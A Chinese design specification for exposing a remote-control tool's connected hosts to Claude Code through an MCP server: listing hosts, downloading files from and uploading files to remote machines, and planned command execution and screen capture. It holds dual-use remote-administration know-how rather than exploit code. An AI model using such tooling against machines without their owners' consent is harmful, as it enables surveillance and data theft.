- **绑定地址**:默认 `127.0.0.1`(仅本机回环,其他机器无法访问);可经 `McpBind` 配置为 `0.0.0.0`(所有网卡)或内网 IP(如 `192.168.0.92`)以支持远程调用。
- 非回环绑定时 token 经明文 HTTP 传输,需强 token,并建议配合防火墙限制源 IP 或启用 HTTPS(项目已有 WebHTTPS 实践)。
- **静态 token 校验**:每个 `POST /mcp` 请求校验 `Authorization: Bearer <token>` header;不匹配返回 HTTP 401。
- **token 来源**(优先顺序):环境变量 `YAMA_MCP_TOKEN` → `THIS_CFG` 的 `McpToken` → 两者皆空则**随机生成**。
- 前两者任一非空即作为固定 token;仅当两者皆空时才随机生成(仅本次进程运行期间有效,进程重启后重新生成不同的 token)。
- 随机生成时**必须将 token 输出到日志**(`Mprintf`),否则用户无从获知、无法在 Claude Code 侧配置。
- 环境变量名 `YAMA_MCP_TOKEN` 建议同 `BRAND_WEB_ENV_VAR` 一样在 `UIBranding.h` 定义为宏(如 `BRAND_MCP_ENV_VAR`),避免散落硬编码字符串。
- **只读边界**:MVP 仅一个只读工具,不暴露任何写/操控能力。
- **HTTP 方法限制**:仅接受 `POST /mcp`,其余返回 404/405。
### 3.6 配置设计
沿用现有 `THIS_CFG`(`settings` 节):
| 配置键 | 默认值 | 说明 |
|---|---|---|
| `McpEnabled` | `0` | MCP 总开关:`0` = 禁用(默认),`1` = 启用。经「扩展 → MCP设置」对话框设置 |
| `McpPort` | `6544` | MCP 监听端口;仅当 `McpEnabled=1` 时生效;未配置用默认 `6544` |
| `McpBind` | `127.0.0.1` | 监听地址;默认仅本机;可设 `0.0.0.0`(所有网卡)或内网 IP(如 `192.168.0.92`)以支持远程 |
| `McpToken` | 空(UI 默认随机值) | 静态 token;对话框内「token 必填、默认随机值」——首次打开若为空则预填随机并随保存持久化。运行时优先级:env `YAMA_MCP_TOKEN` → `McpToken` → 皆空则随机生成(见 §3.5) |
> 与旧版「`McpPort=0` 即禁用」不同:启用与否改由独立的 `McpEnabled` 开关控制,`McpPort` 回归纯端口语义,二者解耦。
### 3.7 生命周期接入
在 `2015RemoteDlg.cpp` Web 服务启动块(约 `2048-2081`)之后,新增 MCP 启动逻辑。`McpServer` 与 `CWebService` 同为单例:提供 `static McpServer& Instance()` 与全局 `inline McpServer& McpServer()` 访问器(仿 `WebService()`,见 `WebService.h` 末尾的全局访问器写法)。
```cpp
auto mcpEnabled = THIS_CFG.GetInt("settings", "McpEnabled", 0); // 默认禁用
auto mcpPort = THIS_CFG.GetInt("settings", "McpPort", 6544);
auto mcpBind = THIS_CFG.GetStr("settings", "McpBind", "127.0.0.1");
if (mcpEnabled) {
// token 优先顺序:env YAMA_MCP_TOKEN → THIS_CFG McpToken → 皆空则随机(仅本次进程有效)
const char* envTok = getenv("YAMA_MCP_TOKEN");
std::string mcpToken;
if (envTok && *envTok) {
mcpToken = envTok;
} else {
mcpToken = THIS_CFG.GetStr("settings", "McpToken", "");
}
if (mcpToken.empty()) {
mcpToken = GenerateRandomToken(); // 32 hex 随机串
Mprintf("[McpServer] YAMA_MCP_TOKEN / McpToken 均未设置,本次进程随机 token:%s\n", mcpToken.c_str());
}
McpServer().SetParentDlg(this); // 方案 C:MCP 需遍历 m_HostList,须持父对话框指针
McpServer().SetToken(mcpToken);
if (!McpServer().Start(mcpBind, mcpPort)) {
Mprintf("McpServer start failed on %s:%d\n", mcpBind.c_str(), mcpPort);
}
}
```
并在退出路径(`OnDestroy` / `ExitInstance` 对应位置)调用 `McpServer().Stop()`。
### 3.8 「MCP设置」配置对话框
MCP 默认不启用,通过主对话框「扩展 → MCP设置」菜单项打开配置对话框来开启。菜单项位置:`2015Remote.rc` 扩展菜单(`POPUP "扩展(&X)"`)内、「地理信息(&L)」子菜单(纯真数据库 / IP2Region)的 `END` 之后、「插件设置」之前。
#### 3.8.1 菜单与资源接线
1. **`resource.h`**:新增命令 ID(取当前空闲段,经查 `33077` 空闲):
```cpp
#define ID_MCP_SETTINGS 33077
```
2. **`2015Remote.rc`**:在「地理信息(&L)」子菜单 `END` 之后、`插件设置` 之前插入:
```
MENUITEM "MCP设置(&M)...", ID_MCP_SETTINGS
```
并新增对话框资源 `IDD_DIALOG_MCP_SETTINGS`(「启用 MCP」复选框 + 端口/绑定地址/token 三个编辑框 + 确定/取消按钮)。
3. **`UIBranding.h`**:扩展菜单隐藏开关新增一行(默认 `0` 显示):
```cpp
#define HIDE_MENU_MCP_SETTINGS 0 // MCP设置
```
4. **`FeatureFlags.h`**:新增运行时许可位,占用 MenuFlags 保留段 `[43-63]` 的首位(紧跟 `MF_REQUEST_AUTH` 之后):
```cpp
#define MF_MCP_SETTINGS (1ULL << 43) // HIDE_MENU_MCP_SETTINGS
```
5. **`2015RemoteDlg.cpp`**:`#include "McpSettingsDlg.h"`,然后消息映射 + 处理器 + 剪枝:
```cpp
ON_COMMAND(ID_MCP_SETTINGS, &CMy2015RemoteDlg::OnMcpSettings)
// ...
void CMy2015RemoteDlg::OnMcpSettings()
{
CMcpSettingsDlg dlg(this);
dlg.DoModal();
}
```
并在扩展菜单剪枝块(`pExtMenu`,约 `2015RemoteDlg.cpp:1225` 之后)追加:
```cpp
if (SHOULD_HIDE_MENU(HIDE_MENU_MCP_SETTINGS, MF_MCP_SETTINGS))
pExtMenu->DeleteMenu(ID_MCP_SETTINGS, MF_BYCOMMAND);
```
> **实现注意**:`2015Remote.rc` 为 UTF-16 编码,菜单与对话框资源须由 VS 资源编辑器维护(手工改文本易破坏编码与资源 ID 引用)。`IDD_DIALOG_MCP_SETTINGS` 需在 `resource.h` 分配独立空闲的 `IDD_` 数值(与 `ID_MCP_SETTINGS` 分开);对话框内控件 ID(如 `IDC_CHK_ENABLE_MCP` / `IDC_EDIT_MCP_PORT` / `IDC_EDIT_MCP_BIND` / `IDC_EDIT_MCP_TOKEN`)同理。
#### 3.8.2 对话框字段与默认值
| 控件 | 绑定配置键 | 默认值 | 说明 |
|---|---|---|---|
| 「启用 MCP」复选框 | `McpEnabled` | 未勾选(`0`) | 勾选后持久化 `McpEnabled=1` |
| 端口 | `McpPort` | `6544` | 数字编辑框,仅当启用时有效 |
| 绑定地址 | `McpBind` | `127.0.0.1` | 默认仅本机;可改 `0.0.0.0` / 内网 IP |
| Token | `McpToken` | 随机值 | 必填;为空时预填随机 token |
#### 3.8.3 初始化与保存
打开时读 `THIS_CFG` 回填;token 为空则当场生成随机值预填(32 hex)。保存时落盘并弹重启提醒:
```cpp
BOOL CMcpSettingsDlg::OnInitDialog()
{
CDialogLangEx::OnInitDialog();
int enabled = THIS_CFG.GetInt("settings", "McpEnabled", 0);
int port = THIS_CFG.GetInt("settings", "McpPort", 6544);
std::string bind = THIS_CFG.GetStr("settings", "McpBind", "127.0.0.1");
std::string tok = THIS_CFG.GetStr("settings", "McpToken", "");
if (tok.empty()) tok = GenerateRandomToken(); // 预填随机,随保存持久化
// 回填到控件:m_bEnabled / m_nPort / m_strBind / m_strToken
return TRUE;
}
void CMcpSettingsDlg::OnBnClickedBtnSave()
{
// 从控件收集:enabled / port / bind / token
if (enabled && token.empty()) {
MessageBoxL(_TR("Token 不能为空"), _TR("提示"), MB_ICONWARNING);
return;
}
THIS_CFG.SetInt("settings", "McpEnabled", enabled ? 1 : 0);
THIS_CFG.SetInt("settings", "McpPort", port);
THIS_CFG.SetStr("settings", "McpBind", bind);
THIS_CFG.SetStr("settings", "McpToken", token);
MessageBoxL(_TR("MCP 设置已保存。\n启用/端口/绑定地址/Token 的改动需重启程序生效。"),
_TR("提示"), MB_ICONINFORMATION);
CDialogLangEx::OnOK();
}
```
#### 3.8.4 与运行时 token 逻辑的衔接
对话框的「默认随机 token」是把随机值**写入 `McpToken` 并持久化**,于是下次启动走 `env → McpToken` 的固定 token 分支;运行时「两者皆空则随机」分支仅在用户从未通过对话框设置过(或手动清空 token)时兜底,两者不冲突。`GenerateRandomToken()` 为 MCP 侧新增的小工具函数(32 hex 随机串,可用 `rand_s` / `BCryptGenRandom` 实现;如需可复用 `WebServiceAuth.h` 的 `ComputeSHA256` 派生)。
---
## 4. 实施步骤
| 步骤 | 内容 | 验收 |
|---|---|---|
| 1 | 新建 `McpProtocol`:JSON-RPC 分发 + `initialize`/`tools/list`/`tools/call`(含 jsoncpp 解析/序列化) | 单元自测:手写请求串,验证响应 |
| 2 | 新建 `McpServer`:httplib 起 `127.0.0.1:6544`,`POST /mcp` 路由 + token 校验(含随机生成) | curl 请求返回 401/正常 |
| 3 | 抽公共函数 `BuildHostJson`,`CWebService::BuildDeviceListJson` 改调之 | Web 输出不变,零回归 |
| 4 | 注册 `list_online_hosts` 工具:handler 持父对话框、`m_cs` 锁内遍历、调 `BuildHostJson` 组装 | `tools/call` 返回主机列表 |
| 5 | 新增 `McpSettingsDlg` + 菜单项接线(`ID_MCP_SETTINGS` / `OnMcpSettings` / `HIDE_MENU_MCP_SETTINGS` / `IDD_DIALOG_MCP_SETTINGS` 资源) | 对话框可启用/禁用、配置端口/绑定/token,保存落盘并提示重启 |
| 6 | 接入 `2015RemoteDlg` 启动/停止(按 `McpEnabled` 门控)+ 配置 | 服务端启动后端口监听正常 |
| 7 | Claude Code 接入验证(见 §5) | 见验收标准 |
---
## 5. 验收标准
1. 在「MCP设置」对话框启用并重启服务端后,`127.0.0.1:6544` 监听正常,外部地址无法访问;未启用时该端口不监听。
2. 无 token 的请求返回 HTTP 401;错误 token 返回 401;正确 token 通过。
3. `curl` 模拟 `initialize` → `tools/list` → `tools/call` 全流程,返回符合 JSON-RPC 2.0 与 MCP 规范。
4. Claude Code 侧:
```bash
claude mcp add yama --transport http http://127.0.0.1:6544/mcp -H "Authorization: Bearer <token>"
```
`claude mcp list` 能看到 `yama`,在对话中问「列出在线主机」能正确触发工具并返回列表。
5. 现有 Web 控制台、IOCP 主服务功能无回归。
---
## 6. 风险与约束
| 风险 | 说明 | 应对 |
|---|---|---|
| 无官方 C++ MCP SDK | 需手写 JSON-RPC 协议层 | 仅实现 3 个方法,量小可控;协议稳定后再考虑抽库 |
| MCP 规范版本演进 | protocolVersion 字符串需与客户端匹配 | 实现时对照最新规范;`initialize` 返回可协商版本 |
| 并发安全 | 遍历 `m_HostList` 需持 `m_cs` | MCP 与 WebService 采用相同的「`m_cs` 锁内遍历」模式 |
| 字符编码 | GBK/UTF-8 分叉 | 复用公共函数 `BuildHostJson` 的编码处理,不自造 |
| token 存储 | `THIS_CFG` 的 token 会明文落盘;随机 token 会打印到日志 | 本地回环 + 只读,风险可控;敏感场景建议仅用 env 并妥善保管 |
---
## 7. 后续扩展规划(本期不做)
- 工具:`get_host_processes`(进程列表)、`execute_command`(命令执行)、`capture_screen`(截图)等
- 写操作工具的安全边界评审(操作对象、权限、审计)
- 认证升级:复用 `WebServiceAuth` 的签名 token / 过期机制
- 分组过滤:`list_online_hosts` 加 `group` 参数
---
## 8. 决策记录
**决策记录(全部已定):**
- ✅ **启用开关**:新增 `McpEnabled`,默认 `0`(禁用)。MCP 默认不启动,须用户在「扩展 → MCP设置」对话框手动开启。
- ✅ **端口**:`McpPort` 可配置,未配置默认 `6544`(纯端口语义,不再兼任启用开关)。
- ✅ **token**:优先顺序 env `YAMA_MCP_TOKEN` → `THIS_CFG.McpToken` → 皆空则随机生成(仅本次进程有效,打印到日志)。对话框内 token 必填、默认随机值(预填并随保存持久化到 `McpToken`)。
- ✅ **绑定地址**:默认 `127.0.0.1`(仅本机);可配置为 `0.0.0.0` 或内网 IP(如 `192.168.0.92`)以支持多人协作跨机调用。
- ✅ **配置入口**:主对话框「扩展」菜单,位于「地理信息(&L)」子菜单下方新增「MCP设置」菜单项,打开独立配置对话框。
- ✅ **生效方式**:MCP 启用/端口/绑定/token 的改动均需重启服务端生效,对话框保存后弹窗提醒「重启程序生效」。
- ✅ **取数方案**:C(抽公共函数 `BuildHostJson`,MCP 与 WebService 平级复用)。
- ✅ **返回字段**:全量,含实时信息(`rtt` / `activeWindow`),支持 AI 监督场景。
- ✅ **序列化**:`structuredContent` + `outputSchema`,`content` 附带可读摘要。
+396
View File
@@ -0,0 +1,396 @@
# YAMA MCP 文件传输功能设计(download_file / upload_file)
> **状态**:设计定稿(经专家审查修订,结论见 §13)。`download_file`(P1)已实施并验收;`upload_file`(P2)已实施(详见 §7,评审修订见 §13.1)。`download_file` 采用 **V2 文件传输协议**(`CMD_DOWN_FILES_V2` + 流式子连接 + SHA-256 校验),`upload_file` 复用服务端既有 `FileBatchTransferWorkerV2`(主连接同步驱动)。两者共享同一套「文件会话」注册表。
> **读者**:MCP 后续功能研发/评审人员。
> **关联文档**:[Mcp_Phase2_Design.md](./Mcp_Phase2_Design.md)(双模式无头驱动机制)、[FILE_TRANSFER_V2.md](./FILE_TRANSFER_V2.md)(V2 协议清单)、[Mcp_Design.md](./Mcp_Design.md)(Phase 1 协议/架构/配置)。
---
## 1. 背景与目标
MCP 目前已暴露 `list_files`(只读列目录,`McpServer.cpp:1741`),但**没有文件传输工具**:把远程主机的文件/目录拉回主控本机(下载),或把本机文件推到远程(上传),只能通过 GUI 文件管理器手工操作。
本技术书解决:
1. **`download_file`**(本期 P1)——远程文件/目录 → 主控本机指定目录,复用 V2 推送协议,带 SHA-256 完整性校验、支持大文件。
2. **`upload_file`**(后续 P2)——主控本机文件/目录 → 远程指定目录,复用服务端 V2 发送器。
3. **一套共享的「流式文件会话」基础设施**——一次投入,下载/上传两处受益,镜像现有终端(`TermSession`)与远程控制(`ScreenCtrlSession`)会话模式。
---
## 2. 现状回顾
| 能力 | 现有协议/命令 | 服务端现有实现 | 是否暴露给 MCP |
|---|---|---|---|
| 远程列目录 | `COMMAND_LIST_DRIVE`→`TOKEN_DRIVE_LIST`;`COMMAND_LIST_FILES`→`TOKEN_FILE_LIST` | `McpServer.cpp:1741`(`list_files`) | ✅ |
| 远程→本地下载(V1) | `COMMAND_DOWN_FILES`(`commands.h:166`) + `TOKEN_FILE_SIZE/DATA/FINISH` | `FileManagerDlg.cpp:2164` / `file/CFileManagerDlg.cpp:1136` | ❌ 仅 GUI |
| 远程→本地下载(V2) | `CMD_DOWN_FILES_V2`(94, `commands.h:260`) + `COMMAND_SEND_FILE_V2`(85) + `COMMAND_FILE_COMPLETE_V2`(91) | `FileManagerDlg.cpp:3337-3384`(下发)、`2756`(`RecvFileChunkV2` 落盘) | ❌ 仅 GUI |
| 本地→远程上传(V2) | `FileBatchTransferWorkerV2`(服务端作 sender) | `2015RemoteDlg.cpp:7572` | ❌ 仅 GUI |
### 2.1 关键事实
1. **V2 下载的客户端会另开一条新子连接**:`client/FileManager.cpp:1101-1190` `UploadToRemoteV2()` 解析完文件列表后,`new IOCPClient(...)` → `EnableSubConnAuth()` → `ConnectServer(...)`(`FileManager.cpp:1170-1172`),在**独立鉴权子连接**上推 `COMMAND_SEND_FILE_V2` 分块 + `COMMAND_FILE_COMPLETE_V2` 校验包。即下载 ≠ 复用文件管理器那条子链接,而是一条**持续流子链接**——正属 `Mcp_Phase2_Design.md §4.3` 当初判定「本期不做」的流式能力。
2. **接收端 `RecvFileChunkV2` 无 UI 可调**:`CDlgFileSend.cpp:128` 已 `RecvFileChunkV2(buf, len, nullptr, nullptr, hash, hmac, 0)` 无头落盘;落盘状态在 `SimplePlugins/file_upload.cpp` 内部按 `transferID` 自维护,天然适合 MCP 无头复用。
3. **V2 落盘路径由客户端回填**:`CMD_DOWN_FILES_V2` 的 `targetDir` 是**主控本机**保存目录(`FileManagerDlg.cpp:3370` `m_Local_Path`);客户端把它拼进每个 chunk 的 `filename` 发回,服务端 `RecvFileChunkV2` 直接按该完整路径写盘。因此「下载保存到哪」由服务端在命令里指定、客户端原样回填。
---
## 3. 协议选型(已定:V2)
| 维度 | **V2 推送(选定)** | V1 拉取(回退) |
|---|---|---|
| 命令 | `CMD_DOWN_FILES_V2` + `COMMAND_SEND_FILE_V2` + `COMMAND_FILE_COMPLETE_V2` | `COMMAND_DOWN_FILES` + `TOKEN_FILE_SIZE/DATA/FINISH` |
| 连接 | 客户端新开一条鉴权流式子连接 | 复用文件管理器子链接 |
| 完整性 | ✅ SHA-256(`COMMAND_FILE_COMPLETE_V2`) | ❌ 无 |
| 大文件 | ✅ 64 位偏移,>4GB | 64 位偏移但无校验 |
| 客户端代码 | ✅ 已存在,是当前 GUI 正规路径 | ⚠️ 遗留路径 |
| MCP 侧复杂度 | 需路由一条**新流式子连接**(新增会话注册表) | 需在 `MessageHandle` 维护「发 CONTINUE/收 DATA」状态机,逐块 ACK 慢 |
**结论:采用 V2。** 代价是服务端要新增「流式文件会话」注册与路由;但这是 `upload_file` 同样要复用的基础设施,一次投入两处受益。V1 仅作「不想引入新子连接路由」时的降级备案,不在本期实现。
---
## 4. 设计原则
1. **复用现有协议,不新造命令**:`CMD_DOWN_FILES_V2`、`COMMAND_SEND_FILE_V2`、`COMMAND_FILE_COMPLETE_V2`、`COMMAND_LIST_DRIVE` 全部为 `common/commands.h` 既有;客户端零改动(upload 方向例外:`COMMAND_SEND_FILE_V2` 需懒初始化文件模块,见 §7.8)。
2. **无头接管复用会话模式**:镜像 `McpServer.h` 的 `TermSession` / `ScreenCtrlSession`,新增 `FileTransferSession`;`MessageHandle` 用 `IsFileTransferContext(context*)` 判定是否路由到 MCP 无头落盘,否则回落 GUI 进度框。
3. **单设备单传输会话**:与终端/远程控制一致,避免同 host 并发传输的归属歧义;并发返回 `-32003 Device busy`。
4. **超时与清理是硬约束**:大文件传输是长任务,超时需独立于 `kMcpToolTimeoutMs`(20s);断线/超时必须清会话 + 关子链接 + 删半成品文件。
5. **输出 schema 先行**:两个工具先在 `tools/list` 声明完整 `inputSchema`/`outputSchema`。
---
## 5. 核心机制:流式文件会话
### 5.1 会话注册表(`McpServer.h/.cpp`)
```cpp
struct FileTransferSession {
std::string tool; // "download_file" / "upload_file"
std::string localDir; // download: 本机落盘目录(规范化后绝对路径,用于穿越校验)
std::string remotePath; // 审计用原始远程路径(UTF-8)
uint64_t transferID = 0; // 绑定后从首包填充(download);upload 由本端 GenerateTransferID()
uint32_t totalFiles = 0; // 完成判定:首个 COMMAND_SEND_FILE_V2 chunk 的 totalFiles(§13 F4)
uint32_t filesDone = 0; // 完成判定:累计收到的 COMMAND_FILE_COMPLETE_V2 数
bool done = false;
int error = 0; // FEV2_* / 自定义
std::vector<FileEntry> files; // {path, size} 已落盘/已发送文件
std::vector<FileEntry> skipped; // overwrite=false 时跳过的同名文件
time_t startAt = 0;
};
std::mutex m_FileXferMutex;
std::map<uint64_t, FileTransferSession> m_FileXferSessions; // device_id → 会话
```
> **取消 `m_FileXferContextToDevice` 映射与 `IsFileTransferContext(context*)`**:流式子连接经 `TOKEN_CONN_AUTH` 已把 `clientID` 钉在 `ContextObject` 上(`2015RemoteDlg.cpp:6411 SetID`),分派时直接用 `ContextObject->GetClientID()` 定位 `device_id`,无需 context 路由表(§13 F1)。
配套接口(与 `BeginTermPending` / `OnTerminalData` / `WaitTerminalDone` 同构):
```cpp
bool BeginFileTransferPending(uint64_t device_id, const std::string& tool,
const std::string& localDir, const std::string& remotePath);
bool IsFileTransferPending(uint64_t device_id); // 分支顶部守卫
void OnFileChunkV2(uint64_t device_id, const BYTE* buf, ULONG len); // 路径校验 + 无头 RecvFileChunkV2
void OnFileCompleteV2(uint64_t device_id, const BYTE* buf, ULONG len);// SHA-256 + filesDone 计数
bool WaitFileTransferDone(uint64_t device_id, int timeoutMs, std::vector<FileEntry>& out);
void ClearFileTransfer(uint64_t device_id); // 失败/超时/断线收尾(删半成品)
```
### 5.2 流式子连接的路由(device_id 键,镜像 `TOKEN_DRIVE_LIST` 守卫)
V2 下载的数据包 `COMMAND_SEND_FILE_V2`(85) / `COMMAND_FILE_COMPLETE_V2`(91) 本就由 `MessageHandle` 按 `ContextObject->GetClientID()` 分派(`2015RemoteDlg.cpp:5842` / `6101`)。MCP 只需在这两个 case 的 **`dstClientID==0`(M2C)分支顶部**加守卫:
```cpp
case COMMAND_SEND_FILE_V2: {
FileChunkPacketV2* pkt = (FileChunkPacketV2*)szBuffer;
if (pkt->dstClientID == 0) {
uint64_t devId = ContextObject->GetClientID();
if (McpServer().IsFileTransferPending(devId)) { // ← 新增守卫:无头接管
McpServer().OnFileChunkV2(devId, szBuffer, len);
break; // 不建 CDlgFileSend、不设 hDlg
}
// ... 原 GUI 逻辑(建 CDlgFileSend + OnReceiveComplete)不变
}
// ... C2C 分支(dstClientID != 0)完全不动
}
```
- `TOKEN_CONN_AUTH`(`6378`) **完全不动**——它只负责把 `clientID` 钉在 ctx 上,下载复用既有行为。
- `TOKEN_DRIVE_LIST`(`6430`) 既有 `IsPending(devId)` 守卫**扩展复用**:`OnDriveList` 识别当前挂起工具为 `download_file` 时,改发 `CMD_DOWN_FILES_V2` 而非 `COMMAND_LIST_FILES`,发完即 `CancelIO` 文件管理器子链接(数据走新流式子连接,§13 F3)。
- 守卫为假时全部回落原 GUI/C2C 路径——对既有功能零影响(原则 #1,§13 F7)。
---
## 6. `download_file` 设计(P1)
### 6.1 工具 Schema
```
input: {
id: string (必填, 主机 id)
remote_path: string (必填, 远程文件或目录绝对路径, 如 C:\Users\shaun\Pictures)
local_dir: string (必填, 主控本机保存目录; 不存在会自动创建)
overwrite: boolean (可选, 默认 false; true 覆盖同名文件, false 则跳过)
timeout_ms: integer (可选, 默认 600000, 上限 3600000)
}
output: {
files: [{ path: string, size: integer, sha256: string }] // 实际落盘文件
total_bytes: integer
skipped: integer
}
```
### 6.2 时序
```
MCP工具线程 服务端 MessageHandle 客户端
│ 1. BeginFileTransferPending(id,"download_file",localDir,remotePath) │
│ 2. 主连接发 COMMAND_LIST_DRIVE ────────────────────────────────────────► 开文件管理器子链接
│ 3. ◄── TOKEN_DRIVE_LIST ─────────────────────┤
│ OnDriveList → 锁外下发 CMD_DOWN_FILES_V2[targetDir\0][remote_path\0]\0 │
│ 4. ────────────────────────────────────────► UploadToRemoteV2()
│ (客户端另开一条鉴权流式子连接 ConnectServer)
│ 5. 新子连接 TOKEN_CONN_AUTH 钉 clientID → 后续分块按 device_id 守卫接管 │
│ 6. ◄── COMMAND_SEND_FILE_V2 分块流 ──────────┤
│ → OnFileChunkV2 → RecvFileChunkV2() 无头落盘
│ 7. ◄── COMMAND_FILE_COMPLETE_V2(SHA-256) ────┤
│ 8. 校验通过 → done → 唤醒工具线程 → CancelIO 两条子连接 → 返回 │
```
### 6.3 服务端改动
1. **`McpServer.h`**:新增 `FileTransferSession` 结构 + 注册表 + 接口声明(§5.1)。
2. **`McpServer.cpp`**:
- `BuildDownloadFileInputSchema/OutputSchema` + `BuildDownloadFile(...)`(`tools/call` 分派);
- `OnFileChunkV2`:**先路径校验**(chunk `filename` 规范化后仍在 `local_dir` 内,防 `..` 穿越,§13 F5)→ 调 `RecvFileChunkV2(buf,len,nullptr,nullptr,hash,hmac,0)` 无头落盘,记 `totalFiles`/进度;
- `OnFileCompleteV2`:`HandleFileCompleteV2` 校验 SHA-256 → `filesDone++`;`filesDone==totalFiles` 时置 `done` + `notify`(§13 F4);
- `hash/hmac` 镜像 `FileManagerDlg.cpp:2755` 的 `GetPwdHash()/GetHMAC(100)`,兼容客户端 M2C `hmac` 为空(`client/FileManager.cpp:1167`,§13 F6);
- `ClearFileTransfer`(发送失败/超时/断线):`CancelIO` 子链接 + 删除半成品。
3. **`2015RemoteDlg.cpp`(`MessageHandle`)**:`COMMAND_SEND_FILE_V2`(85)、`COMMAND_FILE_COMPLETE_V2`(91) 的 `dstClientID==0` 分支顶部加 `IsFileTransferPending(devId)` 守卫;`TOKEN_DRIVE_LIST` 处扩展 `OnDriveList` 识别 `download_file` 改发 `CMD_DOWN_FILES_V2`。`TOKEN_CONN_AUTH` 与 C2C 分支**完全不动**。
4. **`McpSettingsDlg.cpp/.h`**:新增 `McpFileTransfer` 配置项(默认 0)。
### 6.4 落盘与路径安全
- 发 `CMD_DOWN_FILES_V2` 前把 `local_dir` 规范化为绝对路径并 `CreateDirectory`;`targetDir` 用 ANSI(MBCS 构建本机路径)。
- 每收到一个 chunk,校验其 `filename` 规范化后**前缀必须在 `local_dir` 内**(防 `..` 穿越,呼应 `FILE_TRANSFER_V2.md §8.3` 已识别的风险);逃逸则置 `error` 并 `CancelIO`。
- 编码:`remote_path` 走 UTF-8→ANSI(936)(Windows 客户端,复用 `McpServer.cpp` 既有 `ToAnsi`,与 `list_files` 一致)。
### 6.5 超时与并发
- **P1 范围:同步 + 单文件/已打包目录**。一次 `tools/call` 阻塞到底,不引入 job/task 异步模型(决策见 §12)。核心场景「先 `terminal_exec` 压缩成单 zip,再 `download_file` 拉回」天然是单文件,同步足够。
- 默认 `timeout_ms=600000`、上限 3600000,因大文件远超 `kMcpToolTimeoutMs`(20s)。
- **单飞互斥(§13 F2)**:`BeginFileTransferPending` 与既有一次性 `m_Pending` **双向互斥**——下载登记时占用 `m_Pending`,反之 `BeginPending` 也检查 `m_FileXferSessions`,保证同 host 任意时刻只一个 MCP 工具在飞;并发返回 `-32003 Device busy`。
- 断线(`OfflineProc` 擦会话)+ 超时(删半成品)双收尾。
---
## 7. `upload_file` 设计(P2)
### 7.1 工具 Schema
```
input: {
id: string (必填, 目标主机 id)
local_path: string (必填, 主控本机文件或目录绝对路径; 目录递归上传)
remote_dir: string (必填, 远程主机保存目录; 不存在会自动创建)
overwrite: boolean (可选, 默认 false; true 覆盖同名文件, false 跳过)
timeout_ms: integer (可选, 默认 600000, 上限 3600000)
}
output: {
files: [{ path: string, size: integer, sha256: string }] // 已发送文件(远程完整路径);P2 sha256 恒为空串(见 §7.5)
total_bytes: integer
skipped: integer
}
```
### 7.2 方向与连接(与 download 的关键差异)
| 维度 | download_file(P1) | upload_file(P2) |
|---|---|---|
| 数据方向 | 远程客户端 → 主控 | 主控 → 远程客户端 |
| 发送方 | 客户端(`UploadToRemoteV2` → `FileBatchTransferWorkerV2`) | 主控(`FileBatchTransferWorkerV2`) |
| 连接 | 客户端**新开一条鉴权流式子连接** | 复用**主连接**(`ctx->Send2Client`),无子连接 |
| 完成信号 | 客户端发 `COMMAND_FILE_COMPLETE_V2`,服务端 `OnFileCompleteV2` 校验计数 | 服务端**作为发送方**自己发 `COMMAND_FILE_COMPLETE_V2`(SHA-256),客户端 `HandleFileCompleteV2` 校验 |
| MessageHandle 改动 | 2 处守卫分支 + `OnDriveList` 扩展 | **零改动**(客户端 `KernelManager.cpp:1381` 接收,但需懒初始化文件模块,见 §7.8) |
> **修正旧稿(§13.1 评审)**:旧稿写「只需等客户端回 `COMMAND_FILE_COMPLETE_V2`」是错的。V2 协议里 COMPLETE 包恒由**发送方**发、接收方校验,**无接收方→发送方 ACK**。upload 的服务端是发送方,故它**发** COMPLETE 而非「等」。这也意味着 upload 比 download 更简单——无需路由外来流式子连接、无需 `OnFileCompleteV2` 计数。
### 7.3 时序
```
MCP工具线程 主连接 (ctx→Send2Client) 客户端 KernelManager
1. 校验 McpFileTransfer=1 && McpReadonly=0(§8)
2. CollectLocalFiles({local_path}) 收集本机文件+目录项(目录项在前、子项随后)
3. (overwrite=false) list_files 预检 remote_dir 一层 → 得已存在顶层名 → skip 列表
4. BeginFileUpload(id) 登记会话(单设备单传输互斥标记,§6.5)
5. 同步驱动(工具线程内):FileBatchTransferWorkerV2(files, remote_dir, cb, f, hash, hmac, opts)
6. ── COMMAND_SEND_FILE_V2 分块流 ───► RecvFileChunkV2 落盘
7. ── COMMAND_FILE_COMPLETE_V2(SHA256)► HandleFileCompleteV2 校验
8. worker 同步返回 → ClearFileTransfer → 返回 files/total_bytes/skipped
```
### 7.4 服务端改动
1. **`McpServer.h`**:新增 `BeginFileUpload(id)`,登记 `FileTransferSession{tool="upload_file", startAt}` 作为**单设备单传输互斥标记**(与 `m_Pending`/`m_FileXferSessions` 互斥,见 §6.5)。upload 走主连接、工具线程**同步**驱动 `FileBatchTransferWorkerV2`,会话**无** `fmSubCtx`/`streamSubCtx`/`fileEntries`/`done` 等字段(`ClearFileTransfer` 对空指针安全)。
2. **`McpServer.cpp`**:
- `BuildUploadFileInputSchema/OutputSchema` + `BuildUploadFile(...)`(`tools/call` 分派);
- 无头回调 `UploadSendChunkHeadless(user, chunk, data, size)`:经 `UploadCallbackData{parent,clientID,deadline}` 里 `parent->FindHost(clientID)` 定位 ctx → `ctx->Send2Client(data,size)`;客户端离线或整体超时返回 false 中止(镜像 GUI `SendFileChunkToClientV2`,去掉 `dlg` 进度,见 `2015RemoteDlg.cpp:7424-7459`);
- 收集:本地 `CollectLocalFiles` 递归(`common/file_upload.cpp:38` 的 `ExpandDirectories` 未在 `file_upload.h` 导出,故在 McpServer.cpp 本地同构实现,目录项在前、子项随后);
- overwrite 预检:复用 `list_files` 的 `COMMAND_LIST_DRIVE→TOKEN_DRIVE_LIST→COMMAND_LIST_FILES→TOKEN_FILE_LIST` 机制列 `remote_dir` **一层**(顶层名,不递归),过滤同名 → `skipped`;
- 驱动:`FileBatchTransferWorkerV2(files, remote_dir, &cb, headlessCallback, nullptr, GetPwdHash(), GetHMAC(100), opts)`;`opts.transferID=GenerateTransferID()`、`srcClientID=0`、`dstClientID=clientID`、`enableResume=false`;
- 完成判定:`result==0 && FindHost(clientID)!=nullptr`(镜像 GUI `SendFilesToClientV2Internal` 末尾)。
3. **`2015RemoteDlg.cpp`(MessageHandle)**:**零改动**。
4. **`McpSettingsDlg.cpp/.h`**:零改动(`McpFileTransfer` 已存在,§8 复用)。
### 7.5 完整性边界(诚实声明)
- V2 无接收方→发送方 ACK:客户端 `HandleFileCompleteV2` 校验失败只打日志(`RecvFileChunkV2` 返回 8,`KernelManager.cpp:1381` 不回传主控)。
